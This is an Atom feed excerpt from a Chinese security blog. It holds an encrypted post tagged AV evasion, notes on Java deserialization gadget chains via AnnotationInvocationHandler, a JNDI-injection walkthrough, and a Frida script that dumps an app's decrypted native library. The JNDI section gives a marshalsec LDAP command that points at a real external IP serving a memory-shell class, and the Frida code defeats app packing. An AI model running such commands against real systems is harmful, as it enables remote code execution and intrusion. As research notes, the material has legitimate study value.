e2b0549578651aabe81c5d00357d1680293a754181a0525bff40abe7e84696918f7d379dcbade548f7d78442040c8793ca866b8ee9b367959b46f00045d9b3b265e4f42ae222cf3996998710d28391803a91ac42bb47b6fa5d4c3b87f6db8cb86848e2b2f31ff24282eb562d6a93810da9078b21b9c388ffdc0b778c919bd753bce895a9ac7a7954d444c7bdcad3bb76e1833c420ae43d07e5b42531529884eb9cb167892fb236a631751ebd05255ce80a943f4ae2bdb7803047a55f28447acb2c64e4e296f9ec379a5852fa4340a81ce1b845a845ef64d38f7594365907061913dfe7c1e97204d73a4d270fe0efde0b2cbedb430f8b08e6bb76e23cb06b51e2e31f361eaca80675613416a670f109e6c17712ccaf707e1a8df8688f19ac3204ff2b576c5ad0fa017fa501c27e6c4694e9194a124f5a68e0d686cec355dbe3a2b26d24ffe11d392a9ec9924a371f33919cc07acbf08e2c98ac5ddc3983979b8e5b385d3babb64997b3e71a0e1c7d0c8b04647e1d2ff20830bdd7810f28a6ae4241be843ab2786cbe9a1c3bc9a7817ffc0282704c93b521bc893bd0f12eb24d24e29d89996a687fc1768404bb26e56f684b39e9fe01c4679e9dacafcb0b645ecdf23b0ada4c740cfde40abbad2dd9585e393f651be09dffb00bdf1f4e036a20f8bcf0200758a7481729b6b0b5ca239dee50df32e14ffcbb6de56351d9101786605b79cfc48079982c6c7302386d55bc35a2dddc04fcafd5b95b1e55e2273f1d11567278c0e7ddb751f4490d3cd21647addafd99f9218c26b463bce7f54e4a3df4454010a572899bd24915d14bfc30e641013a31967bc9e660c96faf4afe41a615b571e9e07bf0f4936874121b96c3be34afbddbe6a287a8b304ca658addbdf79825cac5e3b8ac3aa373a46148cf4bd45cda721cce1068d33f0737b3aa8ef55f8039d840b6f413f8fc6c45d355d7150d93313c7603b2cfc5df1c5f135c476a2c6eb6aab6f9e92075901d7ec855b33fba960b8c61611fdeeefb01886777a3aee91c6a684658c45b1b94a2af14a7720350b9b5c3bf72b4f448a7a847ff158889dfd0f3aa6c7ea11ad40140ad6ec12ee510f63bb74398d504f034c7dcfa0c5277c2a26dd5511e29fb38ab5960ebf8d5475db07d97251c65d8264b2ed12a4b9ec7d63a8e0261fc3c68de14d258d336aa13c786a94ed5b0f22c791dc23a8129d03853d28c5e8d9a12699c4ef533792160c36758b269213148372bcee33022f94ffd39f3a134057c5ef7cb1ad5e886fd84a54f47cd4ba088c808fc18b52ccd2edadb4963f48b461a3052ffa34bd3ff16bc975e853d1c9b5fa04c886a6caeb2c95e4ef4a4a467ae8e49ced608d15824f340f57f8b441b99e7ae05f7713848e1f2dff77c118dce2fb6dd201c363cf577f5083b5e4249704cea9499ac18d8dd0c435e12cbb713f0fdd71c5cacbdf472c064156e2e715ce45c6905fbe60d48ea676a789a557d383d7403ec1cd357d93aa62857a56748a99693907c598c3fc8e48cca9d03da9e988c4408ed5052defb6f4591b5b5d1a9457e978c3059aadf64ba27044288e58d40bda0d1238dbd0a7c7af4b239398b31de3abc0d0275672c5e8044124009253137b06a08140a09942fd5915090c8bfa6c20de8a650183ffb1ad0ee55917baaf5adee3dd00c9f49c17861850e29c3fe660f1f0b8f00984ca4875374931110036b83fca8d71324becabf2cd03e9ecae0cf4696720de8333595a4131c6b29186337cce3fdf74eb80faef595e9e3fb322298e55d747bb6e693df12df969da476c3f8d04c3873c667051257d0f50bfc75bcb5a734df9b859431866d83ab884ca3eb461a75965c8774f69cc5c51d9395b5cdd68534ffd24aaefd1141e402db5339e12f4f59d04c0c75c1a38349abebfb846f9eabde4c629e0f41d6a864f4e2c89faf80c0dd580c1066c6957462d6749b52f0661b6eb4da7039920ce92eb3be43ae73b5bc5f39d6f23ce5f1725ca94bdd5d5b43e92474a021ef8962cc41d4f97650b7aa2edb47141cb7099a88624d728599160c2256f16602a1db29ec6b53ff90e1201fd8371839255c564db75754ddb48e343392524fa9774ec47b8179c23ec14f5350b948adc6235da2fe62f113e352dda5ec90d557a1b67ad6ed52dfe956de2fb416cf5798c06afda53d040f9c0074e3709a980d756d15f48a86f863374b7c1942427b4d30e4d39eaef695300e79387c3fe0cef021102c618b8ce4622a5836307ca4241750e80113d4b0ce5dbcee928b17a7405d35b92aca726e326cd7d3a5c36971d70ea60bbc51ad7f35f42a32d66349cf0bce2581ecd375411ccbf4eab5fdb2585909257d9a233d925c037b2147e7877d6160cc1ff812f40cbc145bc31f20956da2ebc24adf60e2a0c8230636579094a2379d1f5e560ce5aa3b2f3b78aee0987ab8017005dae7bb4b42214626b51da165d1bbf1339b985ed4df987cb54d459e1854ad666d712c0fe26c27b3cd2994a70a1642c926463cd7ca043be32091f4f5a40385460fc0e63eea5102bed49ec0c3c9e2524bd7fa10c1ec4930d357b22dbe08530e2c1617c86c150c9d86f3e70de74bf9143e5602718aceee911f0bbb2f7428c0f35a2a87f46a241cffdb0c0a3d9d4a90a28bf5d4528e762eae83d279dc1ff603114841a26a912147aae0bcc6854505d75a8af98a5d34c9b8e6503e06fb3550a90e573fbc2db34c642357ec6b924df4a2aa8beb4c5ff0a01ede29a0e8e26ec41c5fdfd9a31c46127e9942b6d8c7f0b25c10ef92d446d3451ad2efe6af556cc8c95ebe9bec5f63e643da39b6a0bd3cb8f5f6b1da53918ad23260cf6ffd9346316ec400c84d3c369a805ee3f9d1b18e446cae4778fe822073127d145c9944764eaaa523b5303239ea88ae737a466ede6df3731374c7bab99052d52dd365a48cbe44f717e571a09ac93f771ba3df105159ff21606872c3ac220199d2e9ec8fd94f223ea223cf03e81cf64e90d1bb53d2d3503b782839db800fd31ad29b3b988948ffb17989035d6990a9e8b1a0b1b418941512cb9addd3d5e783b9d906a7572cec3e28d836ff3b834158e73357442bb1d1abb6474a044833785c03546cbcd3674b4aba48a9c82987d7723d372143c0d5371b218ee5a0fc7c27f851d1b6ff47292f94583e503798954d1b3565a12c26001618b4a1528d8725907ce891ada56bb92eca120e6f970f7ccaf37fde2f3c4c867c5064ca211e76b3218959807ff351b38bfad7811eb096749158def4af6103794f7e6799e17319abfb4b19b74eebe71ef9033a535abb946ae1ef1cb6ef20ae82bb4c7222113f8e7f58351decacf9595df84ffa3ce5f2c91a77e503a9584f2e2fc885e2cdde9328fb32f2f7bfe6ef297726d6f685476062aa2192de5cb0762e0a8e5b6e554082686b5f59a7a63ab74f340fd168586c8ecebcdcb4aba62c945b0c4a1d0509e0bed07fb42cd5ffedd03d55a2f908331d0a566c7160cd607a57746ee41780b58dee5ce0a4e5791f855b08854f3b3a3bf4910384fe7f177b1cc6717f7393406237e8129249c91dc6169af85ecd19f621fefb4e4d0c9e87e5d3d7cf29e51a5ce6daaa4ba375a1f48d97f86b6170066f6ad1ae0461298c77a5befcf8eeb65c1fc8365d8e861dd84a8db6972e23e0b74026fdf56f9a8531c53ed940ec88d54016e7d581edbad89625acf62f80e604f7509ad5837a77cd6ea812277fdf2c1072d79fd2df02a9494ce43cc5a3940e286c85b07e34f9331ab19bf38af5cae8b2aa439962fddcbf700fdd3cb8beb662f0975097a24649ec63a18a545252663c42c86cb0f9c6ac112804c894775277a40609ef7b24c6f43c1f1f313eda78aabbcb661fe77221d0bb4ffbf20107719d107753361e8d93f54665b8ce16bf6ddc08691a5c7a8828f1c0b94b58d5938af726a04e4458d632702e08ce83597e0a39c48c9ad6eac90d0235417149bd74dc60210e5118ddfdc09b78d41f0aba3b4272c6e764e534e24401990179abc627828b8659022351e7abd3e5d79fa128499ee72ccc0e48c855f3112a0ed81f64dba7bd4b74f4517da806ed678bf3a03f8dcfb1d4b4911f64a2ab7ce86e93b38abd4feae974a70621ddb666e6bfd2a4407984d15c4dec6d2afbb29dd0238a941e209a34f39c0198a6fe60e0db3f81891fc437f3352145a52fd158abf94649033982042f213e5308ca6ccc9d0f8c53a214378db2dec4305fabb110359f56f8dfbda4a854ac8f7fe3cfe197721997cfacb557e0d00e40922c966fbc49d71e1c52ffb49a22eb6d9bf303909dbd849212f677d2cbb249a5495223696f065769f5398db93f638c9f0485cfd99ed02fdb079cb7307bfc0ce0ba780f3dbcb66c2935c87e570b3d61dda2ee9b3d77d2a906a4526faef6cdd20ac0b2e7887c44069c5f6b50f010376e1d41d1234366fc5890c44f079b205a0508bc65d28292de0856c620a517bae5e3af4570b7c792b72fd63818a21d87a37a9b883dd394331c1025c75ea7496883a6d66b68b427c4e0c316b4b5aa0770b95ff1d8a22bdb4f8351d6b1b2a7d39467081b7d324a043381b89b7c26b2b5aee3a0927a2ec3582803fa0886677179cbc09766bc3d88738bd59fe63026fbaf8cccd1cea4713ae118dcb782596c989c7af26e46618389abb46f2ed714cd450a6ee038e189635d5f687182b2a9b86acaa93574f6ee7180b0b5aa71db9e4d841f9f930e9cb20e4c53ce5f059ca0aea79ce607b2bed9a27941b73aef569308438b0a79a78ea8a7859c628e89f5bccf398d05ade850029a06fec6afb2be0949ea36f33a7c4455897fa9036ebf83b70519ec4f0e2d9f043b4df6402735f77fce25ae971a2d2f3cab8f72bc1e5d5feee517538146d8c8a91b6e706c8e013fe2ae8f583e7a111212274d9b66270694ad7bc05038b0abda4d1581ec0b7750e6f1bf7550838d7cff0be1edab2df18ec44cc4272a652b85979749f45c995fa228f310c1310e0a46257d8e1ff488349623884ddb1c56f94e96988956d91b9641dbd81e23f2be7a4bd2892bcbd6c527cd7d611dc86a7cdd7221f76018a116541ade2cf6d2afeec007231b8f00d907633e4559212a117395a6b5335098d8f3f77997ba6df5e3b6a16fbba1e5a70a30152a73eff36e9df568bb2ef3177c1166cceefbb00fca6b6232fac1fd303d8d473ef421918f64cf0ab3b2e71b2db70ed0c652e6f21cf731f978a28b8b04ce15834205b3fd287acc36ac6a8cb895008a3f177a252a37630f7e611f724a1b3d8e616bf4a8b86a92baa73bfca4f3007e54e7262405993010811ce356fa6848093515a94f156d05ea323cce784ef41968911d5f27e3a4b8bbe0fb203beca517d23f0231884dc4c432ee06e12e202f295c741dbd4dc8e68b9ed32f0dc26f30081c438c61ede04d3cfa05e9ef5256674d9bc9b956e3b268d86a4817a180ef677ea5f65145d862e1d07008ca7111c220ae5e90d098c35172a2873058e7ec3539d42c0cccd1c1dcf6ba6fc434b68f8ae7407e592e754c63567fe60039a4a01361f0693150fc7b17742c314af60fe9fb6c445412672fb854ce914c49327a196ee2c5c8be2a9a8c3cacf4fe35158c9c55b592b3b3c657ccca7f8fa9d2305c11104e77b5d3c5721ebff09e1a87b5515f4ad64413345ef6330c77d6129bb96ecf6cb7438c4d8b4f5b3e5a201c8464895800aeaef5e2b812ce6a0b122102dcd244fc59c1786f9394c7a8490976d196f4a74a5087772ef224895aad00dec78146869d15e3c8cd0d85f8944498f9e7d3a4b2e643b82876beb612a24c8eec1d3022a748cd4fdc43d7144c8cd1fc0372b2e357bb239ee4c90ebc566ae32e851244666823f1b670fa2da951d38514b784ac7226ecf9be14e088dfaba5a1619a08f86fb9fc3d718f88c02c40e6060dec99662316ace8076b6486c4167c7fca672d1b075836a964fafa8eceb6dbd5c18486b7e36cab420693e73f9ce0a0ce11dc2b61b54a0a7376b321695c38932f501b08efb73fd5b29c525f42a308012d0ed65574b31368f14e5371dc93c3b70b3b0993fc9669a2e038b2959cdab2bc03fcea0a60ef935d08b128e41329b9131ab2cee94e3f550440160d96feb53bf892b2c18addbedc700ca9e02f4331e7ada56c1cff8f9486348a3639138c4f6f2ec8edee688e21af47fdd5a0255fc24dac6f181276efb115edd6d766eaa707165cc5e3d03b97576a8304840abb7d8c52494548fbcdb4842f3ae143e4ed71940ed5710c610093640501037ea991055aec561b364640d615a9a7dce6b3fcfb636fb65c500c01f4c858ddcb227ca4babd7a3b46ec839cb3b55c20fa4c956be3b3112673c3ef3c5ce4262315caa3bb0165e5065a2b60d1ee9cdcbbba034c450cbafccbc1806d6742bb1df18080852c01bad49b43ef3535000c4821bf55f4ce36742206eac225bafa201310d2831915305f6cdeb7e1577899ef922f5c938b92855f466369003a755b92ccd9005930f3aecb7f0b21aa9accaafc37e4f10750752347d2acbc6685a591371d13878a0adbbb705e8c79ccbd036729dc406e100fa69db8e8bb786fde6a5161fdc07f76ba709dc21a5d64dfd67e7f631ef68efc93db5fd0680bf8f00326f188310682109ed86b323fd4f85a340665f1cd6f360f694bfca23e183d055092500e2d25636c1a675d11d1f0971c0736f2bc571b3c5499f074917efd72c87cd260734cae4ff35b2422f36920801e5c3653f45d5558e17fa9a83aeff24e6abdfdd38a623f8b0053d3aa82691c48a6a036ef3f1d69c61cd4bd1342495b7a35995a127e6ef643251a80fc80aaf0062181c1a4edc52878fa51a3d4c55fcd474c87ca9f4fc0a10634dfacb3ea9171ab12c9d733ede8d7f36feee6daba3fb0f04be441bcff7a67f119c908ac3149ad3421394c0ccf498cacf059ae41acf89ad9bffc5657603946b9ecf05d209873e0f4e49cf6c5f5e727474ba8c16a026ff289ae2f9522418cb1d2a1c09b8ad37b5389b18d3fc654a7f04497bfb47f08466b11c0f320f652a4dbd016a3fc7b625512e8ba713f4c2fb68a955ba94a91c2f53777ea1b9e86621e809acdb5f35a184c1b6ecde8f174f6c7a027d4e593d67c6adb229548473c735dcf88600fb55f435d68c80a35acc1993972d6eb6ac352221763f09db6e9c43e650510d543e34746c90e52af4e69667bf1f7bd8b1d60dbcfeaf83d7ce1a9666b87b569b9eb9a557de41b9bbeecbf6496e68482abbdd5fbcfffa42819f61cc56aaa658b4b528ee063f5b7aaed9083b44fa82d0dcd5262673e8d03fbadd14b107ace57b39ae8c530296f44edfeda03cd1bb93986fd5faeaac6a11e2f34a1351daeda7712121cf499fb7ecffc97b7831f2d266dbe38</script> <div class="hbe hbe-content"> <div class="hbe hbe-input hbe-input-xray"> <input class="hbe hbe-input-field hbe-input-field-xray" type="password" id="hbePass"> <label class="hbe hbe-input-label hbe-input-label-xray" for="hbePass"> <span class="hbe hbe-input-label-content hbe-input-label-content-xray">您好, 这里需要密码.</span> </label> <svg class="hbe hbe-graphic hbe-graphic-xray" width="300%" height="100%" viewBox="0 0 1200 60" preserveAspectRatio="none"> <path d="M0,56.5c0,0,298.666,0,399.333,0C448.336,56.5,513.994,46,597,46c77.327,0,135,10.5,200.999,10.5c95.996,0,402.001,0,402.001,0"></path> <path d="M0,2.5c0,0,298.666,0,399.333,0C448.336,2.5,513.994,13,597,13c77.327,0,135-10.5,200.999-10.5c95.996,0,402.001,0,402.001,0"></path> </svg> </div> </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
<summary type="html">有东西被加密了, 请输入密码查看.</summary>
<category term="免杀" scheme="https://tripexlove.github.io/tags/%E5%85%8D%E6%9D%80/"/>
</entry>
<entry>
<title>AnnotationInvocationHandler的深度分析</title>
<link href="https://tripexlove.github.io/p/37597.html"/>
<id>https://tripexlove.github.io/p/37597.html</id>
<published>2024-03-29T11:43:40.000Z</published>
<updated>2024-12-03T06:16:36.961Z</updated>
<content type="html"><</p><p></p><p>二、<code>AnnotationInvocationHandler</code>是一个代理类,其invoke方法中存在<code>equalsImpl</code>与<code>get</code>方法。使用<code>AnnotationInvocationHandler</code>包裹自身代理类后(如代理lazymap的map接口)则执行setvalue时必然会走到invoke方法中调用到get的危险方法如(lazymap.get)。7u21时会调用到equalsImpl。</p><p></p><p></p><p></p><h2 id="针对于动态代理在反序列化中的思考"><a href="#针对于动态代理在反序列化中的思考" class="headerlink" title="针对于动态代理在反序列化中的思考"></a>针对于动态代理在反序列化中的思考</h2><p>动态代理需要的东西:</p><p>一个要被代理的接口</p><p>一个被代理的实体类(其实现了某个接口)</p><p>一个实现了<code>InvocationHandler</code>代理类</p><p>最后使用Proxy.newProxyInstance实现动态代理</p><p>代理类代理的是接口,所以其构造方法一般是接受的是一个接口。</p><p>当追踪到反序列链条最终存在危险方法<code>a.b</code>时(如lazymap.get),要代理<code>a</code>的<code>b</code>方法时该方法必须是从一个接口如<code>c</code>实现而来,进而则可寻找满足如下条件的代理类。该代理类的构造方法接受<code>a</code>实现的接口<code>c</code>且invoke中调用了方法<code>b</code>。</p><p>如下图所示:</p><p><img src="/imgs/AnnotationInvocationHandler%E7%9A%84%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90/image6.png" alt="image.png"></p>]]></content>
<summary type="html"><p>cc链于jdk原生反序列化中常用<code>AnnotationInvocationHandler</code>做最后的包装,其优点如下。</p>
<p>一、其readobject中有setvalue方法当cc1使用<code>TransformedMap</code>包裹</summary>
<category term="java安全" scheme="https://tripexlove.github.io/tags/java%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>JNDI注入打内存马</title>
<link href="https://tripexlove.github.io/p/23696.html"/>
<id>https://tripexlove.github.io/p/23696.html</id>
<published>2024-03-29T11:31:35.000Z</published>
<updated>2024-03-29T11:41:56.124Z</updated>
<content type="html"><![CDATA[<h2 id="方法一"><a href="#方法一" class="headerlink" title="方法一"></a>方法一</h2><p>以下两处类名需保持一致</p><p><img src="/imgs/JNDI%E6%B3%A8%E5%85%A5%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/image-20240329193616538.png" alt="image-20240329193616538"></p><p><img src="/imgs/JNDI%E6%B3%A8%E5%85%A5%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/image-20240329193903563.png" alt="image-20240329193903563"></p><p><img src="/imgs/JNDI%E6%B3%A8%E5%85%A5%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/image%202.png" alt="image 2"></p><p><img src="/imgs/JNDI%E6%B3%A8%E5%85%A5%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/image%203-1712456.png" alt="image 3"></p><h2 id="方法二"><a href="#方法二" class="headerlink" title="方法二"></a>方法二</h2><p>jmg生成class文件</p><p><img src="/imgs/JNDI%E6%B3%A8%E5%85%A5%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/image%204.png" alt="image 4"></p><p>上传vps起一个http服务</p><p><img src="/imgs/JNDI%E6%B3%A8%E5%85%A5%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/image%205.png" alt="image 5"></p><p>起ldap服务</p><pre class="line-numbers language-PowerShell" data-language="PowerShell"><code class="language-PowerShell">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://8.141.3.125:9999/#qaxnb" 7777<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="/imgs/JNDI%E6%B3%A8%E5%85%A5%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/image%206.png" alt="image 6"></p><p>直接注入</p><p><img src="/imgs/JNDI%E6%B3%A8%E5%85%A5%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/image%207.png" alt="image 7"></p>]]></content>
<summary type="html"><h2 id="方法一"><a href="#方法一" class="headerlink" title="方法一"></a>方法一</h2><p>以下两处类名需保持一致</p>
<p><img src="/imgs/JNDI%E6%B3%A8%E5%85%A5%E6%89%93</summary>
<category term="java安全" scheme="https://tripexlove.github.io/tags/java%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>某加密app分析</title>
<link href="https://tripexlove.github.io/p/38418.html"/>
<id>https://tripexlove.github.io/p/38418.html</id>
<published>2023-08-22T23:55:50.000Z</published>
<updated>2023-08-23T00:06:22.000Z</updated>
<content type="html"><![CDATA[<h2 id="爱加密特性"><a href="#爱加密特性" class="headerlink" title="爱加密特性"></a>爱加密特性</h2><p>核心检测代码均在<code>libexecmain.so</code>中,爱加密会对该so进行加密处理,运行时会对其进行解密并释放到内存中,因此其基址会发生改变。</p><p><img src="/imgs/%E6%9F%90%E5%8A%A0%E5%AF%86app%E5%88%86%E6%9E%90/image-20230823080015302.png" alt="image-20230823080015302"></p><p><img src="/imgs/%E6%9F%90%E5%8A%A0%E5%AF%86app%E5%88%86%E6%9E%90/image-20230823080104586.png" alt="image-20230823080104586"></p><p><img src="/imgs/%E6%9F%90%E5%8A%A0%E5%AF%86app%E5%88%86%E6%9E%90/image-20230823080152768.png" alt="image-20230823080152768"></p><h2 id="hook-dlopen"><a href="#hook-dlopen" class="headerlink" title="hook dlopen"></a>hook dlopen</h2><p>因为基址会变化,因此需要在so加载的时候hook。</p><p><img src="/imgs/%E6%9F%90%E5%8A%A0%E5%AF%86app%E5%88%86%E6%9E%90/image-20230823080208425.png" alt="image-20230823080208425"></p><h2 id="dump-so"><a href="#dump-so" class="headerlink" title="dump_so"></a>dump_so</h2><p>获取到so的基址后从内存中读取so内容并写入<code>sdcard</code>目录下</p><p><img src="/imgs/%E6%9F%90%E5%8A%A0%E5%AF%86app%E5%88%86%E6%9E%90/image-20230823080225913.png" alt="image-20230823080225913"></p><p>完整代码如下:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">dump_so</span><span class="token punctuation">(</span><span class="token parameter">so_name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> Java<span class="token punctuation">.</span><span class="token function">perform</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> currentApplication <span class="token operator">=</span> Java<span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuation">(</span><span class="token string">"android.app.ActivityThread"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">currentApplication</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> dir <span class="token operator">=</span> currentApplication<span class="token punctuation">.</span><span class="token function">getApplicationContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getFilesDir</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getPath</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> libso <span class="token operator">=</span> Process<span class="token punctuation">.</span><span class="token function">getModuleByName</span><span class="token punctuation">(</span>so_name<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[name]:"</span><span class="token punctuation">,</span> libso<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[base]:"</span><span class="token punctuation">,</span> libso<span class="token punctuation">.</span>base<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[size]:"</span><span class="token punctuation">,</span> <span class="token function">ptr</span><span class="token punctuation">(</span>libso<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[path]:"</span><span class="token punctuation">,</span> libso<span class="token punctuation">.</span>path<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> file_path <span class="token operator">=</span> <span class="token string">"/sdcard/"</span> <span class="token operator">+</span> libso<span class="token punctuation">.</span>name <span class="token operator">+</span> <span class="token string">"_"</span> <span class="token operator">+</span> libso<span class="token punctuation">.</span>base <span class="token operator">+</span> <span class="token string">"_"</span> <span class="token operator">+</span> <span class="token function">ptr</span><span class="token punctuation">(</span>libso<span class="token punctuation">.</span>size<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">".so"</span><span class="token punctuation">;</span> <span class="token keyword">var</span> file_handle <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">File</span><span class="token punctuation">(</span>file_path<span class="token punctuation">,</span> <span class="token string">"wb"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>file_handle <span class="token operator">&&</span> file_handle <span class="token operator">!=</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> Memory<span class="token punctuation">.</span><span class="token function">protect</span><span class="token punctuation">(</span><span class="token function">ptr</span><span class="token punctuation">(</span>libso<span class="token punctuation">.</span>base<span class="token punctuation">)</span><span class="token punctuation">,</span> libso<span class="token punctuation">.</span>size<span class="token punctuation">,</span> <span class="token string">'rwx'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> libso_buffer <span class="token operator">=</span> <span class="token function">ptr</span><span class="token punctuation">(</span>libso<span class="token punctuation">.</span>base<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">readByteArray</span><span class="token punctuation">(</span>libso<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span> file_handle<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>libso_buffer<span class="token punctuation">)</span><span class="token punctuation">;</span> file_handle<span class="token punctuation">.</span><span class="token function">flush</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> file_handle<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[dump]:"</span><span class="token punctuation">,</span> file_path<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">function</span> <span class="token function">hook_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> soAddr <span class="token operator">=</span> Module<span class="token punctuation">.</span><span class="token function">findBaseAddress</span><span class="token punctuation">(</span><span class="token string">"libexecmain.so"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"libexecmain.so addr: "</span><span class="token punctuation">,</span> soAddr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">dump_so</span><span class="token punctuation">(</span><span class="token string">"libexecmain.so"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">var</span> dlopen <span class="token operator">=</span> Module<span class="token punctuation">.</span><span class="token function">findExportByName</span><span class="token punctuation">(</span><span class="token string">"libdl.so"</span><span class="token punctuation">,</span> <span class="token string">"dlopen"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> android_dlopen_ext <span class="token operator">=</span> Module<span class="token punctuation">.</span><span class="token function">findExportByName</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token string">"android_dlopen_ext"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>Interceptor<span class="token punctuation">.</span><span class="token function">attach</span><span class="token punctuation">(</span>android_dlopen_ext<span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token function-variable function">onEnter</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">//console.log(args[0].readCString());</span> <span class="token keyword">var</span> filename <span class="token operator">=</span> args<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">readCString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>filename<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token string">"libexecmain.so"</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>filename<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>hook <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function-variable function">onLeave</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">retval</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>hook <span class="token operator">==</span> <span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">hook_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>内容明显变大,但后续仍需修复</p><p><img src="/imgs/%E6%9F%90%E5%8A%A0%E5%AF%86app%E5%88%86%E6%9E%90/image-20230823080252972.png" alt="image-20230823080252972"></p><h2 id="so修复"><a href="#so修复" class="headerlink" title="so修复"></a>so修复</h2><p>使用SoFixer即可完成对so的修复</p><p><img src="/imgs/%E6%9F%90%E5%8A%A0%E5%AF%86app%E5%88%86%E6%9E%90/image-20230823080308374.png" alt="image-20230823080308374"></p><p><img src="/imgs/%E6%9F%90%E5%8A%A0%E5%AF%86app%E5%88%86%E6%9E%90/image-20230823080327182.png" alt="image-20230823080327182"></p>]]></content>
